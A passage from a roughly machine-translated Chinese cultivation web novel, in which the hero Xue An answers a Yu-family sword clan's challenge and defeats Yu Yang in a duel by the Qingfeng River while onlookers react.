    Forty years ago, Yu Yuanyi, the sword fairy of Lingnan, wiped out the top ten overseas masters with one man and one sword. Since then, he has established his eternal achievements.


    For forty years, no one dared to provoke the children of the Yu family.


    And this time, Xue An killed an abandoned son of the Yu family, but attracted the Shechem amulet of the Yu family!


    Tan Dong was naturally worried.


    Tan Xiaoyu also looked at Xue An worriedly.


    She has now taken over her father''s martial arts gym. After these days, she has matured a lot.


    But when she heard that the Yu family passed the Shechem Talisman to deal with Xue An, she put everything aside and followed Tan Dong.


    But Xue An didn''t have any frightened expression on his face, instead he smiled faintly, "Sword Slashes Beijiang? What a big tone!"


    As he said, Xue An''s fingers were slightly hard, and the Shechem Talisman broke into powder and drifted away in the wind.


    "Mr. Xue, it��s not that I don��t trust you, but this Lingnan Yu family is really not easy to provoke! Especially the sword fairy Yu Yuanyi, since his sword smashed the world 40 years ago, he has been silent. Some people say he has been In retreat, no one knows what realm is now!" Tan Dong said worriedly.


    "Yes, Mr. Xue, a good guy doesn''t suffer from immediate losses, or you go to H country to hide first!" Tan Xiaoyu also said.


    Xue An shook his head and smiled indifferently: "Thank you, but...I would like to see how sharp Yu''s sword is!"


    When ���� spoke, Xue An''s eyes flashed with a murderous look.


    Tan Dong and Tan Xiaoyu looked at each other, then sighed together.


    In fact, they also know that these persuasion will definitely not work.


    The real warrior will never back down.


    And this moment.


    The news of Shejian Talisman was passed down from the Yu family again, and it began to spread to the world!


    Budo Forum.


    Today��s martial arts forum, there are no tears and water stickers from the past.


    Almost every post discusses the Shechem amulet passed down by the Yu family this time.


    "Forty years of Yu Jiaji''s prestige, no one dared to face the edge, I think this is the same!"


    "Yes! Although this Mr. Xue has gained some fame recently and killed the old man Zhitian, he is still far from a big martial arts family like the Yu family!"


    "The Yu Yang sent this time is also an extremely powerful character. I heard that when he came out of the mountain, he cut a kendo master in Singapore with a sword I heard that this person is practicing killing sword! The most powerful! "


    "Hehe, I think this time the surname Xue is more fortunate!"


    "If I were this Xue An, I would run away early and would never return to Beijiang!"


    "That''s right!"


    "Hehe, the one upstairs knows what a fart, if this Xue An is gone, then his martial arts training will not be improved in the future, fear is the biggest obstacle to martial arts!"


    "If there is no progress, there is no progress. It is better than being killed!"


    These discussions obscure the sky.


    And Beijiang, the news was spread all over at this moment.


    Some people are shocked, some are sorry, some are gloating, and some are full of excitement.


    Longtai Building.


    Qin Yuan stood in the office and had been silent for a long time.


    "Master, Master Tan just called and persuasion is invalid!"


    Qin Yuan seemed to have known the result a long time ago, and nodded slightly, "I know!"


    The black king did not leave, but still stood by.


    "Old black, you said this time...Can Mr. Xue win?"


    Although Qin Yuan has always been full of confidence in Xue An, Xue An has never let him down.


    But this time... the other party is the Yu family!


    Standing in Southern China, the martial arts guys who have stood tall for forty years!


    The black king lowered his head and said solemnly, "I believe Mr. Xue will win!"


    Qin Yuan''s eyes lit up, "Oh? Why do you say that?"


    The black king was silent for a moment, then shook his head and said, "I don''t know, but that''s what I think!"


    Qin Yuan nodded, his eyes gradually firming up.


    "In the past, Mr. Xue was in front to remove obstacles for my Qin family. This time, my Qin family will stand behind Mr. Xue unconditionally!"

 Chapter 115： Reactions from all sides

    After Xie Jingjing returned home from school, she felt that the atmosphere today was a bit strange.


    Lao Xie did not cook in the kitchen, but sat in a chair and sighed.


    My mother, Fat Aunt, wiped her tears from time to time.


    "What''s wrong?" Xie Jingjing asked suspiciously.


    Aunt Fatty raised her head, glanced at her daughter, and then sighed: "Your dad went shopping today, and then he heard a news about your Xiao An brother!"


    "What''s wrong with Brother Xiao An?" Xie Jingjing was shocked.


    "I have also heard rumors that it is said that Xiao An has offended a very powerful person. Now they have come to retaliate, and they are scheduled to be on the Qingfeng River in ten days!" Lao Xie said with a sad face.


    Xie Jingjing''s face was pale, and she sat down on the chair dejectedly, confused.


    How to do?


    How to do!


    Brother Xiao An, don''t have an accident!


    Xie Jingjing lowered her head, but her tears fell straight down.


    The atmosphere in the room is depressing.


    suddenly.


    Old Xie patted the table and suddenly stood up.


    Fat aunt was taken aback and couldn''t help complaining: "What are you doing? I was surprised!"


    Old Xie''s face showed a seriousness that had never been seen before.


    "I have decided, after ten days, I will also go to the Qingfeng River!"


    "Although I may not be able to do anything!"


    "But Xiao An is kind to Jingjing and our family! My old Xie is not an ungrateful person, so even if I take my life, I will help Xiao An!"


    Xie Jingjing and Fat Aunt looked at Lao Xie in surprise, and Lao Xie''s eyes flashed with looks they had never seen before.


    Fat aunt also became excited, and nodded: "That''s good, it really deserves to be my man! Then I will go too!"


    Old Xie frowned, "What about men, what do women do?"


    Fat aunt was furious when she heard that, "Old Xie, I tell you, if you really want to start, none of the three of you are my opponent!"


    Lao Xie was said to be a little embarrassed, "Oh, in front of the child, what are you talking nonsense!"


    "What am I talking nonsense? This is a fact!"


    Looking at this scene, Xie Jingjing smiled with tears in her eyes.


    There was also an idea in her heart.


    Brother Xiao An!


    Anyway, I have to check it out.


    If you lose, then I will avenge you! Even if it catches my life, I will not hesitate!


    Wu''s house.


    Wu Weidong sat in a chair, excited and unable to calm down.


    His full-faced wife also beamed with joy.


    "This is all right, as long as this Xue An dies, then our son''s hatred will be reported!" Wu Weidong said with a smile.


    "Huh, it''s not that easy. After Xue An is dead, I will cut the little **** who killed his son a thousand times!" the woman said harshly.


    At the beginning, her son Wu Zefeng forced Xie Jingjing to KTV. If Xue An did not arrive in time, the consequences would be disastrous.


    It was also because Wu Zefeng was malicious in his heart, so Xue An killed him.


    Later Wu Weidong wanted to retaliate, but some people in North River City, when they heard that they were going to deal with Xue An, they shook their heads like a rattle.


    In desperation, Wu Weidong had no choice but to give up.


    But when the Yu family passed down the Shechem Talisman this time, news came that they wanted to deal with Xue An.


    The Wu family is simply delighted!


    "Hehe! At that time, we will go to see the excitement and see how the person who killed Zefeng was wiped out!" Wu Zefeng said with a sullen expression.


    Fahrenheit Traditional Chinese Medicine Museum.


    All day today, Hua Tingting was a little absent-minded.


    After sending away the last patient, Hua Xingyu sighed.


    "Ting''er, what''s wrong with you?"


    Hua Tingting was silent for a while, and then said: "Grandpa, is there really such a powerful thing as the rumor said?"


    Hua Xingyu nodded solemnly, "It''s amazing! And it''s very amazing!"


    Hua Tingting''s face became more worried, "Then you say Mr. Xue this time..."


    Hua Xingyu shook his head, "I don''t know, this is not something people at my level can see through, but Tingting."


    Hua Xingyu paused, and then said: "You must remember that someone like Mr. Xue is a dragon on the nine heavens, you..."


    The words behind Hua Xingyu didn''t say anything.


    But Hua Tingting understood what Grandpa meant.


    She felt a little sad.


    But she also understood that Grandpa was kind.


    "Finally, after waiting ten days, let''s go to the Qingshui River to take a look at the most glorious match in the martial arts world in ten years! At the same time, it is considered to be Mr. Xue standing up!" Hua Xingyu said.


    Hua Tingting''s eyes lit up, "Yes!"


    just when there was a lot of trouble outside because of the Shechem amulet of the Yu family.


    Lingnan Yujia is as calm as usual.


    Yu Yang walked through the Jianjian Pavilion and came to the backyard. He saw his father, who is also the current head of the Yu family.


    Yulang.


    "When are you going to leave?" Yu Lang sat on the chair without raising his head, and said lightly.


    "Leaving in seven days, Beijiang is only two thousand miles away from Lingnan, two days to arrive!" Yu Yang bowed and said.


    Yu Lang nodded, "I sent you to walk in Shechem this time, do you know why?"


    Yu Lang trembled, a flash of ecstasy flashed in his eyes, but he lowered his head and said, "I don''t know!"


    Yu Lang chuckled lightly, "You, it''s because your tactics are too heavy that you have not been as diligent as your older brother in Kendo!"


    "This Xue An can be regarded as an individual talent. He was able to kill Yu Ling with a punch at the martial arts conference. You can see that he has some real skills. You must be careful not to fall into the reputation of my Yu family. , If you do well... When the ancestor leaves the customs, you can serve you around!"


    Yu Yang trembled, and said in surprise: "The ancestor is leaving the customs?"


    Yu Lang nodded solemnly, "This news cannot be spread, but a few days ago, your elder brother sent a letter saying that the sword spirit outside the Jianlu is stronger than one day, and it should not be long before!"


    "My child understands!" Yu Yang suppressed the ecstasy in his heart, and slowly backed out.


    For every child of the Yu family, the ancestor Yu Yuanyi is the **** they worshipped.


    If you can really serve the left and right, it will be of great benefit to your kendo cultivation.


    Yu Yang left the backyard and came to the Jianting Pavilion, a pretty and unparalleled girl was sitting in the Jianting Pavilion.


    Seeing Yu Yang coming, the girl couldn''t help laughing.


    "Three brothers are so happy today? Is there something good?"


    Yu Yang smiled, "Sister, you sneaked out again, be careful when your father finds out and punish you."


    This girl is Yu Lang''s youngest and only daughter, Yu Ran.


    "Hehe, my father wouldn''t do it! I heard that the third brother, you were sent to walk for this Shechem?"


    Yu Yang nodded.


    Yu Ran became excited, "And I heard people say that this time the opponent is the top players in the top rankings! Third brother, be careful!"


    "Tianbang?" A scornful smile appeared at the corner of Yu Yang''s mouth.


    "A group of people who have never seen a real cultivator, or even a celestial cultivator, is there any use for such a list to rank first? To me, it''s just a chicken!"

 Chapter 116： Longtai Group, welcome Mr. Go home!

    Yu Yang''s self-confidence is for a reason.


    In the eyes of ordinary warriors, the rankings seem unattainable.


    But for a top martial artist like the Yu family.


    A top ranking is really nothing.


    This time Shechem returns, if he can really serve his ancestors, let his kendo cultivation go further.


    By the time of the Fairy Gate Conference three months later, he was sure to make it to the Jade List.


    And this is Yu Yang''s pursuit.


    Because they are on the Jade List, they are all top masters in various schools of immortality.


    The so-called cultivating sects are those big sects that are hidden from the world and even make many people think they have disappeared.


    The masters on the jade list can be said to be everywhere, like a dog, and there are even such horrible existences as half-step Sanxian.


    Only when ���� can be ranked above can it prove that it has real strength.


    As for the Tianban, in the eyes of Yu Yang, it is just a game for children to play.


    This is also the reason why Yu Yang didn''t take Shechem too seriously.


    Only his brother Junshi, who was expelled from his house because of his cultivating foreign ways, would die under such a person.


    on a plane flying to Beijiang.


    At this moment, in the first-class cabin, a man is frequently looking at Tang Xuan''er not far away.


    After a while, he finally couldn''t help it, coughed slightly, then smiled and said, "This beautiful lady, are you a doctor?"


    Tang Xuan''er looked away from the book, and glanced up at the talking man.


    This is a well-dressed man with a handsome face.


    is about thirty years old.


    Looks like a career elite.


    Out of politeness, Tang Xuan''er smiled slightly and nodded.


    This smile made Zhang Mingke feel that his heartbeat was beating three times faster.


    From the moment he got on the plane, Zhang Mingke noticed this stunning beauty.


    Working hard in the workplace these years, Zhang Mingke has seen many beautiful women.


    But how do those women who are wrapped in jewelry and exquisite makeup compare with such a beautiful girl?


    And since getting on the plane, this woman has been reading a book with her head down.


    Zhang Mingke took a sneak peek and found that she was reading very professional medical books.


    This can''t help but make Zhang Mingke more excited.


    Now that Tang Xuan''er smiled at herself, Zhang Mingke was greatly encouraged and couldn''t help smiling.


    "Hello, my name is Zhang Mingke, can you meet me?"


    As Zhang Mingke stretched out his hand, he seemed to want to shake hands.


    also revealed the limited edition Vacheron Constantin on his wrist.


    The expected conversation did not appear.


    Tang Xuan''er frowned slightly, then lowered her head to continue reading.


    Zhang Mingke was just left hanging.


    This can''t help making him a little angry.


    I am also a career elite with an annual salary of one million.


    There are also many women who pursue themselves.


    But I have never seen such a faceless woman.


    And he noticed Xue An sitting beside Tang Xuan''er.


    In his opinion, Xue An��an��s clothes totaled only a few hundred dollars, and he couldn��t even buy a tie clip of his own.


    So he didn''t think this man would be any great character.


    The beautiful lady is at the side, and Zhang Mingke is really reluctant to give up, so his eyes flicker, and he is thinking about something in his heart, and his expression gradually becomes dark.


    Xue An naturally also noticed this man.


    But in Xue An''s eyes, this man is no different from ants.


    Things that can be killed with one finger are not worthy of Xue An''s wasted attention.


    Waiting for the plane to land slowly, everyone walked across the bridge and came to the airport lobby.


    Zhang Mingke leaned over again, and said as gracefully as possible: "This lady, we are going all the way, we are also destined, can you meet me?"


    Tang Xuan''er was expressionless, and without even looking at him, she walked right past him.


    Zhang Mingke gritted his teeth secretly and wanted to say something.


    Xue An passed by him, then stopped, showing a few white teeth, and smiled sensibly: "I''ve been walking with you all the way, isn''t it also very destined?"


    After that, Xue An left with a smile.


    Zhang Mingke''s complexion became extremely ugly, he glared at Xue An''s back angrily, then took out his mobile phone and made a call.


    "Hey, Brother Liu? Are you still at the airport? Yes! You are bringing some brothers over now, there is something wrong with me!"


    Zhang Mingke hung up the phone, looked sadly at the back of Xue An and others leaving, sneered in his heart.


    He just called the boss Liu, a local snake who has been entrenched in the airport for many years.


    Wait for the boss Liu to entangle the group of people, and then go up to the rescue by himself, wouldn''t he be able to get to know this woman in a fair way?


    Thinking of this, Zhang Mingke''s heart was hot, and then he followed out.


    This boss Liu is near the airport, and the taxis around him are under his management.


    So Zhang Mingke made a call and he rushed to him with a few people.


    "Xiao Zhang, what''s the matter?" Boss Liu asked.


    Zhang Mingke recounted the matter.


    Boss Liu looked at the back of Xue An and others in the distance, and nodded, "Don''t worry, it''s nothing! Let''s go and go with my brother!"


    Zhang Mingke was overjoyed and walked out of the airport lobby together.


    Then Zhang Mingke was stunned.


    The boss Liu was also stunned.


    Even everyone who left the station was stunned.


    Because when Xue An walked out of Beijiang Airport.


    Qin Yuan led the senior officials of Longtai Group, waiting respectfully on the side of the road.


    Wait for Xue An to come out.


    Qin Yuan took a few steps, bowing and saluting.


    "Longtai Group, welcome Mr. Xue home!"


    After he said, the senior leaders of the Longtai Group who followed him also bent down and shouted loudly.


    "Longtai Group, welcome Mr. Xue home!"


    This kind of momentum makes everyone stupid.


    Only Xue An, with a calm complexion, nodded slightly.


    "Let''s go! My daughter is hungry and wants to eat!"


    "Yes!" Qin Yuan nodded, and then personally opened the door of the Rolls Royce, like a doorman, serving Xue An into the car.


    Xue An glanced at him, smiled slightly, and then hugged his daughter into the car.


    Tang Xuan''er was also arranged in another car.


    Waiting for the convoy to leave.


    Everyone present was shocked.


    "The middle-aged man just now...looks like a director of Longtai Group...Master Qin!"


    "How is it possible? What is the identity of Mr. Qin? How is it possible to open the door to a young man?"


    "But I don''t think it''s possible. UU read , but that is Mr. Qin! And those who followed are all executives of Longtai Group!"


    Amid these arguments, Zhang Mingke only felt cold all over.


    Because he knows better than anyone, that the person just now is indeed Qin Yuan, the chairman of Longtai Group.


    The people who followed were indeed Long Tai''s senior management.


    is so sure, because he works in Longtai Group!


    Once upon a time, he once met Qin Yuan far away at the annual meeting.


    That time, Zhang Mingke was very impressed.


    But I didn''t expect that this lofty chairman of Longtai would actually treat that man so respectfully today.


    Who is he?


    Thinking of this, Zhang Mingke couldn''t help fighting a cold war.


    At this moment, the performance of that boss Liu is even more unbearable.


    I saw him pale and trembling all over.


    "Brother Liu, what''s wrong with you?" Zhang Mingke asked with concern.


    As soon as the voice fell, the boss slapped him in the face.


    Snapped!


    Zhang Mingke was beaten up and looked at Boss Liu with his face covered, not knowing what was going on.


    I saw Boss Liu shivering all over, "The surname is Zhang, if you''re so **** tired, don''t you take me?"


    "Brother Liu, what the **** is going on?" Zhang Mingke asked cryingly.


    Boss Liu sneered, "Do you know who that person was?"


    "Who?"


    "The **** Mr. Xue is known to all the people in the North River that they can''t provoke! You the **** asked me to deal with him? Do you want me to die?" Liu said, slapped again.


    Zhang Mingke was beaten with a nosebleed, and then he grinned and cried!

 Chapter 117： 1 sword crossing the river

    On the tenth day of April, today, the **** of joy is north and southeast of the **** of wealth. It is suitable for sacrifices, bathing, funerals and burials, and blessings for marriage.


    Before going out, Old Xie took a special look at the almanac.


    Today is the rumored day. Lao Xie closed the restaurant yesterday, then took a shower and had a haircut. After finishing up, he sharpened his knife in the kitchen all night.


    He actually knew very well that his own strength might not be of any help.


    But he is a man after all.


    It''s clear that he can still do this.


    Xue An is kind to herself and Jingjing, so in order to repay her kindness, what does it matter even if he takes this life?


    Fatty Auntie knelt in front of the Buddha statue and muttered to herself before going out.


    Normally, Xie Jingjing would laugh at herself secretly.


    But today, she also knelt aside with a solemn expression, folded her hands and prayed silently in her heart.


    Please bless the gods and Buddhas, and bless my little Ange safe and sound.


    After finishing packing, the family locked the door and headed to the Qingfeng River.


    Qingfeng River is located in the southwest of Beijiang.


    About seven or eighty miles away.


    Old Xie was going to take a taxi, but he didn''t expect to find out when he left the house today. The road was deserted and deserted, and there were even fewer pedestrians.


    After waiting to find a car, the price is three times the usual.


    But Lao Xie doesn''t care about that anymore.


    The taxi master is very talkative. When driving, he asked, "I��m going to watch the excitement by the Qingfeng River! Haha, you are a bit late now."


    After getting out of the car, Lao Xie and others understood what the taxi driver meant.


    I saw the sparsely populated Qingfeng River, already crowded with people.


    Countless people watching the excitement have surrounded this place.


    Of course, there is still a large open space around the hill in the core area.


    It''s just a few miles away, so I can''t get past it.


    Old Xie was a little worried.


    What if I can��t squeeze through?


    When ���� was anxious, he watched the commotion behind the crowd, and then more than a dozen cars came slowly.


    The crowd separated from the road. After the dozen or so cars drove in, they started talking.


    "It''s the Qin''s car! The Qin''s is here!"


    "Well, I also saw Miss Qin sitting in the car behind."


    "It''s lively now!"


    Xie Jingjing looked forward and found that Xue An was not seen among the people who got off these cars, and he couldn''t help but breathe a sigh of relief.


    She doesn''t want Xue An to come.


    Several luxury cars passed by again, and this time it was other giants in Beijiang who got off the car.


    In short, almost all the wealthy families of Beijiang gathered on the banks of Qingfeng River.


    Of course, Wu Weidong is also included.


    He is now looking at the Qin family in the distance with complacency.


    Especially when he noticed that Qin Yu and the others were very solemn, he couldn''t help but sneer in his heart.


    The Qin family is now in full swing, and a large part of the reason is because of Xue An.


    If Xue An loses today.


    Then the Qin family is bound to decline.


    At that time...I don��t know whether Beijiang is surnamed Qin.


    is thinking about it.


    I heard a huge exclamation from the crowd.


    Wu Weidong quickly looked up.


    Seeing from above the river surface in the distance, a young man standing with his hands is flying fast.


    That''s right, it just flew.


    This scene naturally shocked these people who had never seen the world before.


    But Tan Dong and others are extremely solemn.


    For a moment, this person flew here.


    Only then did people realize that what he was stepping on was actually a sword.


    Flying sword?


    Is it a sword fairy?


    There was a commotion among many people, and they thought they had met a real sword fairy today.


    But Tan Dong and Tan Xiaoyu looked at each other and saw the shock in each other''s eyes.


    This is not a sword fairy, but it is also quite scary.


    It is said that when Bodhidharma traveled eastward, a reed crossed the river.


    Now the son of the Yu family, Yu Yang, obviously uses the same magical powers.


    Yu Yang was expressionless, with his hands behind his back, crossing the river with a sword.


    As for the others, he didn''t pay attention at all.


    I saw him slowly opening his mouth and said: "I am the Yu Yang from Shechem this time, where is Xue An?"


    The sound is not loud, but it spread far away.


    No one answered.


    After a while, there was a lot of discussion underneath.


    "Does this Xue An dare not come?"


    "I guess that the other party is from the Yu family! A fool will not come!"


    "Hey, I didn''t expect Mr. Xue, who is known as the undefeated, to run away!"


    Amidst these discussions, many people''s glances at the Qin family were wrong.


    Qin Yu is even more solemn.


    She felt a heavy pressure.


    At this time, Yu Yang frowned slightly, and then looked around everyone in the field.


    "Xue An...Where is it?"


    still did not reply.


    Yu Yang tapped his toes, and flew up to the hill, then slowly said: "I came with my sword today to meet Xue An. Now I will wait for him to make incense sticks. It will not come yet. Don''t blame me for being rude!"


    After saying that, Yu Yang meditated cross-legged, with his long sword stretched across his knees, and then lit a piece of incense and inserted it in front of him.


    Many people talked about it below.


    Wu Weidong couldn''t help but sneer at this time, "Hey, it''s said that Mr. Xue is a master of cultivation, he is also a bully and afraid of hardship. When you see the Yu family, don''t you dare to come?"


    At this time, Xie Jingjing and others had already squeezed inside. After hearing Wu Weidong''s words, Xie Jingjing couldn''t help but anger.


    "You shut up! What qualifications do you have to say Brother Xiao An?"


    "Brother Xiao An? What a joke, what are you? Dare to scold me?" Wu Weidong saw that he was an ordinary girl and couldn''t help being furious.


    At this time, his fat lady''s eyes lit up, and then she sneered, "So it was you! You little bitch, who killed my son for you, why? Afraid that the murderer Xue An will suffer? I told you You, you and your Xue An, won��t be better today!"


    The woman said in a bitter voice.


    Wu Weidong realized that this girl was the Xie Jingjing who killed her son, and she couldn''t help but also have a look of resentment The words of the couple attracted people around them.


    Xie Jingjing gritted her teeth, then raised her head without showing any weakness, and looked at the woman with a full face.


    "You don''t talk nonsense, I killed your son? If it wasn''t for Brother Xiao Ang who came in time that day, I was almost killed by your son. Are you actually spitting blood?"


    The fat woman never dreamed that Xie Jingjing dared to return her mouth. She was taken aback for a moment, and then rushed over with an angry face.


    "Little bitch, I will teach you a lesson now!"


    said she stretched out her hand to grab Xie Jingjing��s hair.


    Xie Jingjing is just a girl who has just gone to high school. I have never seen this formation before, and she is in a daze.


    Her mother, Fat Aunt, arrived in time. When she saw someone wanted to beat her daughter, she became furious. Then she looked at the timing and slapped Wu Zefeng��s mother in the face.


    Aunt Fatty usually works in the restaurant. She carries all the gas tanks in and out, and her hands are extremely powerful. She slaps her eyes with gold stars, and hasn''t been relieved for a long time.


    Wu Weidong saw his wife being beaten, how could he give up, when he was about to come over, Lao Xie''s eyes were already red.


    He just heard the conversation and knew that these people were the family of the little **** who nearly ruined his daughter that day.


    I haven''t gone to them to settle the account. They are fine, but the wicked person sued first.


    Because of this, Old Xie''s head heated up, and he stretched out his hand to take out the kitchen knife pinned to his back.


    He sharpened this kitchen knife all night, and the light can shine.


    "I see who dares to come over!"


    When Wu Weidong and his wife saw the kitchen knife, they were courageous first. After stepping back a few steps, they muttered: "You wait, don''t you just rely on Xue An? When Xue An is defeated today, I see what you do!"

 Chapter 118： To deal with you... I dont have to use tricks yet!

    "You fart! Little Ang will not be defeated!" Xie Jingjing was so angry that she said swear words.


    Wu Weidong sneered, and wanted to say something. At this moment, a frosty-faced girl in the crowd came over and slapped Wu Weidong into the air.


    After Wu Weidong landed heavily, the girl said coldly: "Dare to talk nonsense, kill!"


    Wu Weidong, who was lying on the ground, trembled and dared not say anything.


    And the girl turned her head to look towards Xie Jingjing.


    Xie Jingjing took a step back in fear.


    The girl smiled, "Hello, this is Xue Lan."


    "Xue Lan? That Xiao An brother is..."


    "My cousin!" Xue Lan smiled, but her eyes were full of worry.


    After learning the news in Qingmang Town, she rushed over immediately.


    Because Song Yi understands, this Yu family is not easy to mess with.


    After waiting, Xue Lan''s heart sank when she saw Yu Yang crossing the river with a sword.


    This man is definitely an enemy.


    Now Xue Lan''s cultivation level is also considered the first glimpse of the way, this progress shocked Song Yi.


    Therefore, Xue Lan can also see how powerful Yu Yang is.


    And Wu Weidong''s yelling made Xue Lan upset, and only then did he give him a lesson.


    Xie Jingjing''s eyes lit up, "Then Little Ang..."


    Xue Lan shook his head, "I haven''t seen him either!"


    As Xue Lan turned to look at Yu Yang, who was meditating on the hill with his eyes closed, her mood was a bit complicated.


    She wanted Xue An to come, but she was afraid of him.


    I hope Xue An will come, because only in this way can all doubts disappear.


    I was afraid of him coming, but I was afraid that if Xue An were not Yu Yang''s opponent, the consequences would be unimaginable.


    is hesitating.


    Yu Yang slowly opened his eyes. At this moment, the incense in front of him was about to burn out.


    A disdainful smile appeared at the corner of Yu Yang''s mouth.


    As expected!


    Is this Xue An still afraid to come?


    But this is also a wise choice.


    After all, even if he comes, he will die by his own sword!


    Yu Yang raised his head and opened his mouth, just about to speak.


    At this moment, I saw a person walking slowly above the distant sky.


    Although the pace is slow, it can fly several tens of feet under one step, so after a while, he came to the bank of Qingfeng River.


    "It''s Xue An!"


    "Mr. Xue is here!"


    There was a commotion under the people.


    Of course, Xue An came.


    Many people don''t believe it because he came late today.


    Because Xue wanted and Xue Nian to stay in bed in the morning, they got up a little late, and it was too early when Xue An finished breakfast for the two baby girls and waited for them to finish eating.


    This is why Xue An came so late.


    Qin Yu and others were excited when they saw Xue An.


    But Wu Weidong and others looked extremely ugly.


    No one thought that Xue An would come at this time.


    and Yu Yang looked at Xue An with a playful look.


    stepping into the air, he has some real ability.


    But the more this happens, the more excited Yu Yang becomes.


    Only such an opponent can make his kendo more diligent!


    At this time, Xue An stepped over everyone''s heads and came to the top of the hill in a flash.


    After ���� fell on the ground, Xue An looked at Yu Yang and smiled.


    "Sorry, I seem to be late!"


    Yu Yang was noncommittal, slowly got up, and then stared at Xue An, "Shechem Talisman understands what I have said, you kill my Yu family, today I will represent the Yu family and take your life. Do you have any questions?"


    Xue An shook his head and said lightly: "No doubt, I killed Yu Qing, I also received the Shechem Talisman, but...you want to take my life."


    Xue settled down, then smiled Senran: "Then you have to see if you have this ability!"


    The atmosphere suddenly became serious.


    The people watching below took a few steps back, their faces all a little shocked.


    Hasn''t the light momentum been so terrifying before you start?


    But Xie Jingjing kept tears in her eyes and kept praying in her heart.


    Bodhisattva bless Xiao Ange to win!


    At this time, Yu Yang nodded, "You are right, but...there is never an unconvinced soul under the sword of the Yu family, and you...the same!"


    Talking, Yu Yang slowly drew his sword.


    The long sword was out of its sheath, and after a sound of dragon chants, a cold light flashed, and all the trees on the hill were broken.


    Tan Dong exclaimed, "It''s Jian Qi!"


    Tan Xiaoyu asked: "Father, what is Jian Qi?"


    Tan Dong said with a solemn expression: "Sword Qi is the ability generated by a person''s kendo cultivation level to a certain level. It is extremely sharp and very powerful!"


    Tan Xiaoyu''s expression also became worried.


    But in this biting sword aura, Xue An''s expression was calm, and even a faint smile appeared on the corner of his mouth.


    "This sword is named Longyin! You can die under this sword, it is your good fortune!" Yu Yang said proudly.


    Xue An shook his head, "The sword is good, but the sword holder is too bad!"


    Yu Yang''s eyes were cold, and he sneered: "If that''s the case, then let me learn, what qualifications do you have to say such a big talk!"


    said, Yu Yang pierced out with a sword.


    The speed of this sword even gave many people an illusion.


    As if Yu Yang''s sword had pierced all the space, the hilt was still in Yu Yang''s hand, and the tip of the sword had passed through the distance of a dozen steps and appeared directly in front of Xue An.


    This extremely fast sword made many people who care about Xue An exclaimed.


    Xie Jingjing even closed her eyes in shock, her heart pounding.


    A smug smile appeared at the corner of Yu Yang''s mouth.


    In his opinion, his sword is simply perfect, and it can even be said to be an impeccable sword!


    Even if you are half-step dispersing immortals, it is impossible to avoid my shocking sword!


    Yu Yang thought to himself, but the next moment his smile solidified.


    Because Xue An was in the moment when he couldn''t let go, he raised his hand and flicked it lightly.


    Snapped.


    Finger is hitting the tip of the sword.


    Yu Yang felt a huge force hit, and his wrist was numb in an instant, and then the Dragon Yin Sword in his hand fell to the ground instantly.


    There is a dead silence under the mountain.


    Many people almost thought they were wrong.


    This sword with such an astonishing momentum, but was flicked by Xue An casually?


    Yu Yang''s complexion changed drastically, and he immediately retreated.


    Xue An didn''t chase, but instead held his shoulders and looked at him with interest.


    Yu Yang kept retreating twenty or thirty steps away, and then stood still solemnly.


    "You...what is your trick?"


    Xue An smiled slightly, revealed some nice teeth, shook his head and said: "I don''t need to use any tricks to deal with you."


    Yu Yang''s expression became extremely ugly upon hearing this.


    "Okay! I admit, I underestimated you just now! But do you really think that this is the full strength of the Yu family''s inheritance?" Yu Yang said coldly, holding his hands empty, and then a majestic sword aura , Gradually taking shape in the hands.


    Many people''s expressions changed drastically.


    Tan Dong even muttered to himself: "Invisible sword spirit! This Yu Yang''s swordsmanship has actually reached such a terrifying level!"


    "Today, I will show you the power of my Yu Family Killing Sword!" Yu Yang raised his hands high.


    A huge sword with a length of several tens of meters took shape, and then it fell down sharply.


    The momentum was so great that even the Qingshui River behind Xue An was stopped, and a crack appeared on the surface of the Houjiang River!


    One sword breaks the river!


    The power of the Yu family to kill the sword is really amazing!

 Chapter 119： What is real kendo

    But just under the sword power that seemed to break the sky and the earth, Xue An looked indifferent, even with a smile on the corner of his mouth.


    Yu Yang sneered in his heart, he was dying, dare to care so much?


    At this moment, Xue An said lightly: "You have already cut me twice even with this sword, so this time... it''s my turn!"


    Talking, Xue An raised his hand and punched.


    This punch seemed so inconspicuous in front of this vast sword.


    and there is no momentum, even the fist that a girl makes when flirting.


    Many people look at it with disdain.


    Mr. Xue, who is so powerful in the rumors, is so capable in the end?


    Yu Yang originally thought so, even he had already seen Xue An being cut in half by his own sword.


    But this understatement punch is like an indestructible needle, just piercing the weakest place in this majestic sword.


    ��.


    As if the balloon had been punctured, the momentum suddenly vented.


    Yu Yang was even more uncomfortable and wanted to vomit blood.


    It was as uncomfortable as if I tried my best and hit a ball of cotton.


    At the same time, Yu Yang retreated in horror.


    This man is really amazing!


    It can be seen with this seemingly inconspicuous punch, but he broke the eye of his sword.


    His strength is absolutely terrifying.


    And this is just the beginning.


    Xue An said calmly: "I just want to run now, don''t you think it''s too late?"


    As he said, Xue An shot out again with a punch.


    As soon as this punch was thrown, the whole hill was shaken like an earthquake.


    Yu Yang was even more unstable and fell directly to the ground. Then he felt that the joints all over his body were soft, and it was difficult to get up for a while.


    Xue An slowly walked towards him at this time.


    Yu Yang''s face was full of horror.


    He didn''t expect that he would have so many accidents when he thought she was a good one.


    And looking at the current situation, I seem to be losing!


    Seeing that Xue An was about to come forward, Yu Yang gritted his teeth, and then bit his tongue sharply.


    After a spit of blood.


    Yu Yang sneered: "Xue An, I admit that you are great, but you still have to die!"


    As he spoke, Yu Yang''s vitality disappeared.


    At the same time, he joined the hill and Qingfengjiang behind him as one.


    Yu Yang''s aura suddenly increased.


    And most importantly, if Xue An attacks him again, it is equivalent to attacking this hill and this Qingfeng River!


    is virtually equivalent to weakening Xue An''s fist.


    At this moment, Yu Yang stands proudly into the air.


    "Xue An, you are really good, but what can you do with me now?"


    This is a trick Yu Yang has painstakingly studied over the years, and he considers it invulnerable.


    But Xue An just stood still, looked up at Yu Yang floating in the air, and then shook his head slightly.


    "you are wrong!"


    Yu Yang was taken aback, "What''s wrong?"


    Xue An said lightly: "I mean your kendo cultivation is wrong!"


    Yu Yang is equivalent to hearing some big joke, haha ??laughing.


    After smiling, Yu Yang stared at Xue An.


    "You actually said that our Yu family''s sword repair was wrong?"


    "I don''t know the other people in your Yu family, but you are wrong!" Xue An said slowly.


    "Oh? What''s wrong?" Yu Yang asked with a sneer.


    Xue An smiled slightly, "The so-called sword repairmen, what they repair is just a breath of sword in their chest, one mouthful of indomitable momentum, all sword repairs I have seen are so!"


    When Xue An traveled through the sky, he had met more than one sword emperor!


    Although the cultivation base of these sword emperors is weaker than Xue An, when it comes to lethality, they are not much better.


